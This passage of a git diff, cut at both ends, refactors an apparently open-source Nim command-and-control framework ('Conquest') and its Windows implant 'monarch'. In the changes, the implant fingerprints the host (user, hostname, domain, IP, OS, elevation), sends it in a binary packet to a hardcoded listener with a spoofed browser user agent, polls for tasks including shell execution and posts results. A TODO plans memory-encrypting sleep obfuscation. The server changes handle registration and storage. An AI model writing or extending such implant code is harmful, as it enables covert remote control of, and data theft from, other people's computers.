import winim, osproc, strutils, strformat
-import ../task/result
-import ../[utils, agentTypes]
-import ../../../common/types
+import ../core/taskresult
+import ../agentTypes
+import ../../../common/[types, utils]
proc taskShell*(config: AgentConfig, task: Task): TaskResult =
diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim
index c1d4331..bc4af37 100644
--- a/src/agents/monarch/commands/sleep.nim
+++ b/src/agents/monarch/commands/sleep.nim
@@ -1,8 +1,8 @@
import os, strutils, strformat
-import ../[agentTypes, utils]
-import ../task/result
-import ../../../common/[types, serialize]
+import ../[agentTypes]
+import ../core/taskresult
+import ../../../common/[types, utils, serialize]
proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
@@ -16,7 +16,6 @@ proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
# Updating sleep in agent config
config.sleep = delay
-
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
except CatchableError as err:
diff --git a/src/agents/monarch/http.nim b/src/agents/monarch/core/http.nim
similarity index 53%
rename from src/agents/monarch/http.nim
rename to src/agents/monarch/core/http.nim
index 527e322..343c098 100644
--- a/src/agents/monarch/http.nim
+++ b/src/agents/monarch/core/http.nim
@@ -1,46 +1,44 @@
import httpclient, json, strformat, asyncdispatch
-import ./[agentTypes, utils, agentInfo]
-import ../../common/types
+import ./metadata
+import ../agentTypes
+import ../../../common/[types, utils]
-proc register*(config: AgentConfig): string =
+const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
- let client = newAsyncHttpClient()
+proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
- # Define headers
- client.headers = newHttpHeaders({ "Content-Type": "application/json" })
+ let client = newAsyncHttpClient(userAgent = USER_AGENT)
- # Create registration payload
- let body = %*{
- "username": getUsername(),
- "hostname":getHostname(),
- "domain": getDomain(),
- "ip": getIPv4Address(),
- "os": getOSVersion(),
- "process": getProcessExe(),
- "pid": getProcessId(),
- "elevated": isElevated(),
- "sleep": config.sleep
- }
- echo $body
+ # Define HTTP headers
+ client.headers = newHttpHeaders({
+ "Content-Type": "application/octet-stream",
+ "Content-Length": $registrationData.len
+ })
+
+ let body = registrationData.toString()
try:
# Register agent to the Conquest server
- return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
+ discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
+
except CatchableError as err:
echo "[-] [register]:", err.msg
quit(0)
+
finally:
client.close()
-proc getTasks*(config: AgentConfig, agent: string): string =
+ return true
- let client = newAsyncHttpClient()
+proc getTasks*(config: AgentConfig): string =
+
+ let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = ""
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
- responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
+ responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks")
return responseBody
except CatchableError as err:
@@ -52,9 +50,9 @@ proc getTasks*(config: AgentConfig, agent: string): string =
return ""
-proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool =
+proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
- let client = newAsyncHttpClient()
+ let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define headers
client.headers = newHttpHeaders({
@@ -68,7 +66,7 @@ proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[b
try:
# Send binary task result data to server
- discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body)
+ discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
diff --git a/src/agents/monarch/agentinfo.nim b/src/agents/monarch/core/metadata.nim
similarity index 58%
rename from src/agents/monarch/agentinfo.nim
rename to src/agents/monarch/core/metadata.nim
index f188cad..a860af8 100644
--- a/src/agents/monarch/agentinfo.nim
+++ b/src/agents/monarch/core/metadata.nim
@@ -1,6 +1,7 @@
import winim, os, net, strformat, strutils, registry
-import ./[agentTypes, utils]
+import ../agentTypes
+import ../../../common/[types, utils]
# Hostname/Computername
proc getHostname*(): string =
@@ -68,6 +69,69 @@ proc getIPv4Address*(): string =
return $getPrimaryIpAddr()
# Windows Version fingerprinting
+proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string =
+ let
+ major = info.dwMajorVersion
+ minor = info.dwMinorVersion
+ build = info.dwBuildNumber
+ spMajor = info.wServicePackMajor
+
+ if major == 10 and minor == 0:
+ if productType == WORKSTATION:
+ if build >= 22000:
+ return "Windows 11"
+ else:
+ return "Windows 10"
+
+ else:
+ case build:
+ of 20348:
+ return "Windows Server 2022"
+ of 17763:
+ return "Windows Server 2019"
+ of 14393:
+ return "Windows Server 2016"
+ else:
+ return fmt"Windows Server 10.x (Build: {build})"
+
+ elif major == 6:
+ case minor:
+ of 3:
+ if productType == WORKSTATION:
+ return "Windows 8.1"
+ else:
+ return "Windows Server 2012 R2"
+ of 2:
+ if productType == WORKSTATION:
+ return "Windows 8"
+ else:
+ return "Windows Server 2012"
+ of 1:
+ if productType == WORKSTATION:
+ return "Windows 7"
+ else:
+ return "Windows Server 2008 R2"
+ of 0:
+ if productType == WORKSTATION:
+ return "Windows Vista"
+ else:
+ return "Windows Server 2008"
+ else:
+ discard
+
+ elif major == 5:
+ if minor == 2:
+ if productType == WORKSTATION:
+ return "Windows XP x64 Edition"
+ else:
+ return "Windows Server 2003"
+ elif minor == 1:
+ return "Windows XP"
+ else:
+ discard
+
+ return "Unknown Windows Version"
+
proc getProductType(): ProductType =
# The product key is retrieved from the registry
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
@@ -108,4 +172,29 @@ proc getOSVersion*(): string =
else:
return "Unknown"
-
\ No newline at end of file
+proc getRegistrationData*(config: AgentConfig): AgentRegistrationData =
+
+ return AgentRegistrationData(
+ header: Header(
+ magic: MAGIC,
+ version: VERSION,
+ packetType: cast[uint8](MSG_RESPONSE),
+ flags: cast[uint16](FLAG_PLAINTEXT),
+ seqNr: 1'u32, # TODO: Implement sequence tracking
+ size: 0'u32,
+ hmac: default(array[16, byte])
+ ),
+ metadata: AgentMetadata(
+ agentId: uuidToUint32(config.agentId),
+ listenerId: uuidToUint32(config.listenerId),
+ username: getUsername().toBytes(),
+ hostname: getHostname().toBytes(),
+ domain: getDomain().toBytes(),
+ ip: getIPv4Address().toBytes(),
+ os: getOSVersion().toBytes(),
+ process: getProcessExe().toBytes(),
+ pid: cast[uint32](getProcessId()),
+ isElevated: cast[uint8](isElevated()),
+ sleep: cast[uint32](config.sleep)
+ )
+ )
diff --git a/src/agents/monarch/task/packer.nim b/src/agents/monarch/core/packer.nim
similarity index 74%
rename from src/agents/monarch/task/packer.nim
rename to src/agents/monarch/core/packer.nim
index 12f7d40..a535b32 100644
--- a/src/agents/monarch/task/packer.nim
+++ b/src/agents/monarch/core/packer.nim
@@ -1,7 +1,6 @@
import strutils, strformat
-import ../[agentTypes, utils]
-import ../../../common/[types, serialize]
+import ../../../common/[types, utils, serialize]
proc deserializeTask*(bytes: seq[byte]): Task =
@@ -127,6 +126,39 @@ proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
return header & body
+proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
+ var packer = initPacker()
+ # Serialize registration data
+ packer
+ .add(data.metadata.agentId)
+ .add(data.metadata.listenerId)
+ .addVarLengthMetadata(data.metadata.username)
+ .addVarLengthMetadata(data.metadata.hostname)
+ .addVarLengthMetadata(data.metadata.domain)
+ .addVarLengthMetadata(data.metadata.ip)
+ .addVarLengthMetadata(data.metadata.os)
+ .addVarLengthMetadata(data.metadata.process)
+ .add(data.metadata.pid)
+ .add(data.metadata.isElevated)
+ .add(data.metadata.sleep)
+ let metadata = packer.pack()
+ packer.reset()
+
+ # TODO: Encrypt metadata
+
+ # Serialize header
+ packer
+ .add(data.header.magic)
+ .add(data.header.version)
+ .add(data.header.packetType)
+ .add(data.header.flags)
+ .add(data.header.seqNr)
+ .add(cast[uint32](metadata.len))
+ .addData(data.header.hmac)
+
+ let header = packer.pack()
+
+ return header & metadata
\ No newline at end of file
diff --git a/src/agents/monarch/task/handler.nim b/src/agents/monarch/core/task.nim
similarity index 92%
rename from src/agents/monarch/task/handler.nim
rename to src/agents/monarch/core/task.nim
index 132d390..533b259 100644
--- a/src/agents/monarch/task/handler.nim
+++ b/src/agents/monarch/core/task.nim
@@ -1,7 +1,8 @@
import strutils, tables, json
+
import ../agentTypes
import ../commands/commands
-import ../../../common/types
+import ../../../common/[types, utils]
import sugar
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
@@ -19,4 +20,5 @@ proc handleTask*(config: AgentConfig, task: Task): TaskResult =
}.toTable
# Handle task command
- return handlers[cast[CommandType](task.command)](config, task)
\ No newline at end of file
+ return handlers[cast[CommandType](task.command)](config, task)
+
diff --git a/src/agents/monarch/task/result.nim b/src/agents/monarch/core/taskresult.nim
similarity index 93%
rename from src/agents/monarch/task/result.nim
rename to src/agents/monarch/core/taskresult.nim
index 5e823ae..423bc3b 100644
--- a/src/agents/monarch/task/result.nim
+++ b/src/agents/monarch/core/taskresult.nim
@@ -1,5 +1,5 @@
-import times
-import ../../../common/types
+import times
+import ../../../common/[types, utils]
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
diff --git a/src/agents/monarch/monarch.nim b/src/agents/monarch/monarch.nim
index 8982b8d..6fe670c 100644
--- a/src/agents/monarch/monarch.nim
+++ b/src/agents/monarch/monarch.nim
@@ -1,9 +1,10 @@
-import strformat, os, times
+import strformat, os, times, random
import winim
+import sugar
-import ./[agentTypes, http]
-import task/handler, task/packer
-import ../../common/types
+import ./agentTypes
+import core/[task, packer, http, metadata]
+import ../../common/[types, utils]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -14,6 +15,7 @@ const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
proc main() =
+ randomize()
#[
The process is the following:
@@ -35,14 +37,19 @@ proc main() =
# Create agent configuration
var config = AgentConfig(
- listener: ListenerUuid,
+ agentId: generateUUID(),
+ listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay
)
- let agent = config.register()
- echo fmt"[+] [{agent}] Agent registered."
+ # Create registration payload
+ let registrationData: AgentRegistrationData = config.getRegistrationData()
+ let registrationBytes = serializeRegistrationData(registrationData)
+
+ config.register(registrationBytes)
+ echo fmt"[+] [{config.agentId}] Agent registered."
#[
Agent routine:
@@ -54,13 +61,14 @@ proc main() =
]#
while true:
+ # TODO: Replace with actual sleep obfuscation that encrypts agent memory
sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
# Retrieve task queue for the current agent
- let packet: string = config.getTasks(agent)
+ let packet: string = config.getTasks()
if packet.len <= 0:
echo "No tasks to execute."
@@ -78,9 +86,8 @@ proc main() =
result: TaskResult = config.handleTask(task)
resultData: seq[byte] = serializeTaskResult(result)
- echo resultData
-
- discard config.postResults(result, resultData)
+ # echo resultData
+ config.postResults(resultData)
when isMainModule:
main()
\ No newline at end of file
diff --git a/src/agents/monarch/nim.cfg b/src/agents/monarch/nim.cfg
index 932c1d0..113a71e 100644
--- a/src/agents/monarch/nim.cfg
+++ b/src/agents/monarch/nim.cfg
@@ -1,8 +1,8 @@
# Agent configuration
--d:ListenerUuid="CFD80565"
--d:Octet1="127"
--d:Octet2="0"
--d:Octet3="0"
--d:Octet4="1"
--d:ListenerPort=9999
--d:SleepDelay=3
+-d:ListenerUuid="A5466110"
+-d:Octet1="172"
+-d:Octet2="29"
+-d:Octet3="177"
+-d:Octet4="43"
+-d:ListenerPort=8888
+-d:SleepDelay=5
diff --git a/src/agents/monarch/utils.nim b/src/agents/monarch/utils.nim
deleted file mode 100644
index 5e2c977..0000000
--- a/src/agents/monarch/utils.nim
+++ /dev/null
@@ -1,90 +0,0 @@
-import strformat, strutils
-import ./agentTypes
-
-proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
- let
- major = info.dwMajorVersion
- minor = info.dwMinorVersion
- build = info.dwBuildNumber
- spMajor = info.wServicePackMajor
-
- if major == 10 and minor == 0:
- if productType == WORKSTATION:
- if build >= 22000:
- return "Windows 11"
- else:
- return "Windows 10"
-
- else:
- case build:
- of 20348:
- return "Windows Server 2022"
- of 17763:
- return "Windows Server 2019"
- of 14393:
- return "Windows Server 2016"
- else:
- return fmt"Windows Server 10.x (Build: {build})"
-
- elif major == 6:
- case minor:
- of 3:
- if productType == WORKSTATION:
- return "Windows 8.1"
- else:
- return "Windows Server 2012 R2"
- of 2:
- if productType == WORKSTATION:
- return "Windows 8"
- else:
- return "Windows Server 2012"
- of 1:
- if productType == WORKSTATION:
- return "Windows 7"
- else:
- return "Windows Server 2008 R2"
- of 0:
- if productType == WORKSTATION:
- return "Windows Vista"
- else:
- return "Windows Server 2008"
- else:
- discard
-
- elif major == 5:
- if minor == 2:
- if productType == WORKSTATION:
- return "Windows XP x64 Edition"
- else:
- return "Windows Server 2003"
- elif minor == 1:
- return "Windows XP"
- else:
- discard
-
- return "Unknown Windows Version"
-
-proc toString*(data: seq[byte]): string =
- result = newString(data.len)
- for i, b in data:
- result[i] = char(b)
-
-proc toBytes*(data: string): seq[byte] =
- result = newSeq[byte](data.len)
- for i, c in data:
- result[i] = byte(c.ord)
-
-proc uuidToUint32*(uuid: string): uint32 =
- return fromHex[uint32](uuid)
-
-proc uuidToString*(uuid: uint32): string =
- return uuid.toHex(8)
-
-proc toUint32*(data: seq[byte]): uint32 =
- if data.len != 4:
- raise newException(ValueError, "Expected 4 bytes for uint32")
-
- return uint32(data[0]) or
- (uint32(data[1]) shl 8) or
- (uint32(data[2]) shl 16) or
- (uint32(data[3]) shl 24)
\ No newline at end of file
diff --git a/src/common/serialize.nim b/src/common/serialize.nim
index ee6f0a7..3d3d945 100644
--- a/src/common/serialize.nim
+++ b/src/common/serialize.nim
@@ -1,6 +1,5 @@
import streams, strutils
-import ./types
-
+import ./[types, utils]
type
Packer* = ref object
stream: StringStream
@@ -34,6 +33,19 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
packer.addData(arg.data)
return packer
+proc addVarLengthMetadata*(packer: Packer, metadata: seq[byte]): Packer {.discardable.} =
+
+ # Add length of metadata field
+ packer.add(cast[uint32](metadata.len))
+
+ if metadata.len <= 0:
+ # Field is empty (e.g. not domain joined)
+ return packer
+
+ # Add content
+ packer.addData(metadata)
+ return packer
+
proc pack*(packer: Packer): seq[byte] =
packer.stream.setPosition(0)
let data = packer.stream.readAll()
@@ -102,4 +114,15 @@ proc getArgument*(unpacker: Unpacker): TaskArg =
of BOOL:
result.data = unpacker.getBytes(1)
else:
- discard
\ No newline at end of file
+ discard
+
+proc getVarLengthMetadata*(unpacker: Unpacker): string =
+
+ # Read length of metadata field
+ let length = unpacker.getUint32()
+
+ if length <= 0:
+ return ""
+
+ # Read content
+ return unpacker.getBytes(int(length)).toString()
\ No newline at end of file
diff --git a/src/common/types.nim b/src/common/types.nim
index 0164b03..0a4ea79 100644
--- a/src/common/types.nim
+++ b/src/common/types.nim
@@ -13,7 +13,8 @@ type
PacketType* = enum
MSG_TASK = 0'u8
MSG_RESPONSE = 1'u8
- MSG_REGISTER = 100'u8
+ MSG_REGISTER = 2'u8
+ MSG_CHECKIN = 100'u8
ArgType* = enum
STRING = 0'u8
@@ -101,27 +102,36 @@ type
# Agent structure
type
+
+ # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
+ AgentMetadata* = object
+ agentId*: uint32
+ listenerId*: uint32
+ username*: seq[byte]
+ hostname*: seq[byte]
+ domain*: seq[byte]
+ ip*: seq[byte]
+ os*: seq[byte]
+ process*: seq[byte]
+ pid*: uint32
+ isElevated*: uint8
+ sleep*: uint32
+
AgentRegistrationData* = object
- username*: string
- hostname*: string
- domain*: string
- ip*: string
- os*: string
- process*: string
- pid*: int
- elevated*: bool
- sleep*: int
+ header*: Header
+ # encMaterial*: seq[byte] # Encryption material for the agent registration
+ metadata*: AgentMetadata
Agent* = ref object
- name*: string
- listener*: string
+ agentId*: string
+ listenerId*: string
username*: string
hostname*: string
domain*: string
- process*: string
- pid*: int
ip*: string
os*: string
+ process*: string
+ pid*: int
elevated*: bool
sleep*: int
jitter*: float
diff --git a/src/common/utils.nim b/src/common/utils.nim
new file mode 100644
index 0000000..3aefb99
--- /dev/null
+++ b/src/common/utils.nim
@@ -0,0 +1,53 @@
+import strutils, sequtils, random, strformat
+
+proc generateUUID*(): string =
+ # Create a 4-byte HEX UUID string (8 characters)
+ (0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
+
+proc uuidToUint32*(uuid: string): uint32 =
+ return fromHex[uint32](uuid)
+
+proc uuidToString*(uuid: uint32): string =
+ return uuid.toHex(8)
+
+proc toString*(data: seq[byte]): string =
+ result = newString(data.len)
+ for i, b in data:
+ result[i] = char(b)
+
+proc toBytes*(data: string): seq[byte] =
+ result = newSeq[byte](data.len)
+ for i, c in data:
+ result[i] = byte(c.ord)
+
+proc toUint32*(data: seq[byte]): uint32 =
+ if data.len != 4:
+ raise newException(ValueError, "Expected 4 bytes for uint32")
+
+ return uint32(data[0]) or
+ (uint32(data[1]) shl 8) or
+ (uint32(data[2]) shl 16) or
+ (uint32(data[3]) shl 24)
+
+proc toHexDump*(data: seq[byte]): string =
+ for i, b in data:
+ result.add(b.toHex(2))
+ if i < data.len - 1:
+ if (i + 1) mod 4 == 0:
+ result.add(" | ") # Add | every 4 bytes
+ else:
+ result.add(" ") # Regular space
+
+proc toBytes*(value: uint16): seq[byte] =
+ return @[
+ byte(value and 0xFF),
+ byte((value shr 8) and 0xFF)
+ ]
+
+proc toBytes*(value: uint32): seq[byte] =
+ return @[
+ byte(value and 0xFF),
+ byte((value shr 8) and 0xFF),
+ byte((value shr 16) and 0xFF),
+ byte((value shr 24) and 0xFF)
+ ]
\ No newline at end of file
diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim
index 1d33638..c1d7400 100644
--- a/src/server/api/handlers.nim
+++ b/src/server/api/handlers.nim
@@ -3,37 +3,39 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
import ../[utils, globals]
import ../db/database
import ../task/packer
-import ../../common/types
+import ../../common/[types, utils]
+
+import sugar
# Utility functions
proc add*(cq: Conquest, agent: Agent) =
- cq.agents[agent.name] = agent
+ cq.agents[agent.agentId] = agent
#[
Agent API
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
]#
-proc register*(agent: Agent): bool =
+proc register*(registrationData: seq[byte]): bool =
# The following line is required to be able to use the `cq` global variable for console output
{.cast(gcsafe).}:
- # Check if listener that is requested exists
- # TODO: Verify that the listener accessed is also the listener specified in the URL
- # This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database
- if not cq.dbListenerExists(agent.listener.toUpperAscii):
- cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n")
+ let agent: Agent = deserializeNewAgent(registrationData)
+
+ # Validate that listener exists
+ if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
+ cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n")
return false
- # Store agent in database
+ # # Store agent in database
if not cq.dbStoreAgent(agent):
- cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n")
+ cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.agentId} into database.", "\n")
return false
cq.add(agent)
let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")
- cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
+ cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
return true
diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim
index eafdd51..0e0e55c 100644
--- a/src/server/api/routes.nim
+++ b/src/server/api/routes.nim
@@ -3,84 +3,71 @@ import sequtils, strutils, times, base64
import ./handlers
import ../[utils, globals]
-import ../../common/types
-
-proc encode(bytes: seq[seq[byte]]): string =
- result = ""
- for task in bytes:
- result &= encode(task)
+import ../../common/[types, utils]
proc error404*(ctx: Context) {.async.} =
resp "", Http404
#[
- POST /{listener-uuid}/register
+ POST /register
Called from agent to register itself to the conquest server
]#
proc register*(ctx: Context) {.async.} =
# Check headers
- # If POST data is not JSON data, return 404 error code
- if ctx.request.contentType != "application/json":
+ # If POST data is not binary data, return 404 error code
+ if ctx.request.contentType != "application/octet-stream":
resp "", Http404
return
- # The JSON data for the agent registration has to be in the following format
- #[
- {
- "username": "username",
- "hostname":"hostname",
- "domain": "domain.local",
- "ip": "ip-address",
- "os": "operating-system",
- "process": "agent.exe",
- "pid": 1234,
- "elevated": false.
- "sleep": 10
- }
- ]#
-
try:
- let
- postData: JsonNode = parseJson(ctx.request.body)
- agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
- agentUuid: string = generateUUID()
- listenerUuid: string = ctx.getPathParams("listener")
- date: DateTime = now()
-
- let agent: Agent = Agent(
- name: agentUuid,
- listener: listenerUuid,
- username: agentRegistrationData.username,
- hostname: agentRegistrationData.hostname,
- domain: agentRegistrationData.domain,
- process: agentRegistrationData.process,
- pid: agentRegistrationData.pid,
- ip: agentRegistrationData.ip,
- os: agentRegistrationData.os,
- elevated: agentRegistrationData.elevated,
- sleep: agentRegistrationData.sleep,
- jitter: 0.2,
- tasks: @[],
- firstCheckin: date,
- latestCheckin: date
- )
-
- # Fully register agent and add it to database
- if not agent.register():
- # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
- # Return a 404 error code either way
- resp "", Http404
- return
-
- # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
- resp agent.name
+ let agentId = register(ctx.request.body.toBytes())
+ resp "Ok", Http200
except CatchableError:
- # JSON data is invalid or does not match the expected format (described above)
resp "", Http404
- return
+ # try:
+ # let
+ # postData: JsonNode = parseJson(ctx.request.body)
+ # agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
+ # agentUuid: string = generateUUID()
+ # listenerUuid: string = ctx.getPathParams("listener")
+ # date: DateTime = now()
+
+ # let agent: Agent = Agent(
+ # name: agentUuid,
+ # listener: listenerUuid,
+ # username: agentRegistrationData.username,
+ # hostname: agentRegistrationData.hostname,
+ # domain: agentRegistrationData.domain,
+ # process: agentRegistrationData.process,
+ # pid: agentRegistrationData.pid,
+ # ip: agentRegistrationData.ip,
+ # os: agentRegistrationData.os,
+ # elevated: agentRegistrationData.elevated,
+ # sleep: agentRegistrationData.sleep,
+ # jitter: 0.2,
+ # tasks: @[],
+ # firstCheckin: date,
+ # latestCheckin: date
+ # )
+
+ # # Fully register agent and add it to database
+ # if not agent.register():
+ # # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
+ # # Return a 404 error code either way
+ # resp "", Http404
+ # return
+
+ # # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
+ # resp agent.name
+
+ # except CatchableError:
+ # # JSON data is invalid or does not match the expected format (described above)
+ # resp "", Http404
+
+ # return
#[
GET /{listener-uuid}/{agent-uuid}/tasks
@@ -122,17 +109,11 @@ proc getTasks*(ctx: Context) {.async.} =
resp "", Http404
#[
- POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results
+ POST /results
Called from agent to post results of a task
-
]#
proc postResults*(ctx: Context) {.async.} =
- let
- listener = ctx.getPathParams("listener")
- agent = ctx.getPathParams("agent")
- task = ctx.getPathParams("task")
-
# Check headers
# If POST data is not binary data, return 404 error code
if ctx.request.contentType != "application/octet-stream":
diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim
index 7d10778..ab03161 100644
--- a/src/server/core/agent.nim
+++ b/src/server/core/agent.nim
@@ -3,12 +3,12 @@ import terminal, strformat, strutils, tables, times, system, osproc, streams
import ../utils
import ../task/dispatcher
import ../db/database
-import ../../common/types
+import ../../common/[types, utils]
# Utility functions
proc addMultiple*(cq: Conquest, agents: seq[Agent]) =
for a in agents:
- cq.agents[a.name] = a
+ cq.agents[a.agentId] = a
proc delAgent*(cq: Conquest, agentName: string) =
cq.agents.del(agentName)
@@ -65,8 +65,8 @@ proc agentInfo*(cq: Conquest, name: string) =
# TODO: Improve formatting
cq.writeLine(fmt"""
-Agent name (UUID): {agent.name}
-Connected to listener: {agent.listener}
+Agent name (UUID): {agent.agentId}
+Connected to listener: {agent.listenerId}
──────────────────────────────────────────
Username: {agent.username}
Hostname: {agent.hostname}
@@ -113,9 +113,9 @@ proc agentInteract*(cq: Conquest, name: string) =
var command: string = ""
# Change prompt indicator to show agent interaction
- cq.setIndicator(fmt"[{agent.name}]> ")
+ cq.setIndicator(fmt"[{agent.agentId}]> ")
cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
- cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
+ cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.agentId, resetStyle, ". Type 'help' to list available commands.\n")
cq.interactAgent = agent
while command.replace(" ", "") != "back":
diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim
index 0f757a0..f2174bc 100644
--- a/src/server/core/listener.nim
+++ b/src/server/core/listener.nim
@@ -4,7 +4,7 @@ import prologue
import ../utils
import ../api/routes
import ../db/database
-import ../../common/types
+import ../../common/[types, utils]
# Utility functions
proc delListener(cq: Conquest, listenerName: string) =
@@ -66,9 +66,9 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
var listener = newApp(settings = listenerSettings)
# Define API endpoints
- listener.post("{listener}/register", routes.register)
+ listener.post("register", routes.register)
listener.get("{listener}/{agent}/tasks", routes.getTasks)
- listener.post("{listener}/{agent}/{task}/results", routes.postResults)
+ listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404)
# Store listener in database
@@ -99,9 +99,9 @@ proc restartListeners*(cq: Conquest) =
listener = newApp(settings = settings)
# Define API endpoints
- listener.post("{listener}/register", routes.register)
+ listener.post("register", routes.register)
listener.get("{listener}/{agent}/tasks", routes.getTasks)
- listener.post("{listener}/{agent}/{task}/results", routes.postResults)
+ listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404)
try:
diff --git a/src/server/core/server.nim b/src/server/core/server.nim
index 34438b4..ebfb89a 100644
--- a/src/server/core/server.nim
+++ b/src/server/core/server.nim
@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
import ./[agent, listener]
import ../[globals, utils]
import ../db/database
-import ../../common/types
+import ../../common/[types, utils]
#[
Argument parsing
diff --git a/src/server/db/database.nim b/src/server/db/database.nim
index c637099..7981f62 100644
--- a/src/server/db/database.nim
+++ b/src/server/db/database.nim
@@ -2,7 +2,7 @@ import system, terminal, tiny_sqlite
import ./[dbAgent, dbListener]
import ../utils
-import ../../common/types
+import ../../common/[types, utils]
# Export functions so that only ./db/database is required to be imported
export dbAgent, dbListener
diff --git a/src/server/db/dbAgent.nim b/src/server/db/dbAgent.nim
index c5c64fb..b51c84a 100644
--- a/src/server/db/dbAgent.nim
+++ b/src/server/db/dbAgent.nim
@@ -1,7 +1,7 @@
import system, terminal, tiny_sqlite, times
import ../utils
-import ../../common/types
+import ../../common/[types, utils]
#[
Agent database functions
@@ -14,7 +14,7 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
conquestDb.exec("""
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
- """, agent.name, agent.listener, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"))
+ """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"))
conquestDb.close()
except:
@@ -31,11 +31,11 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
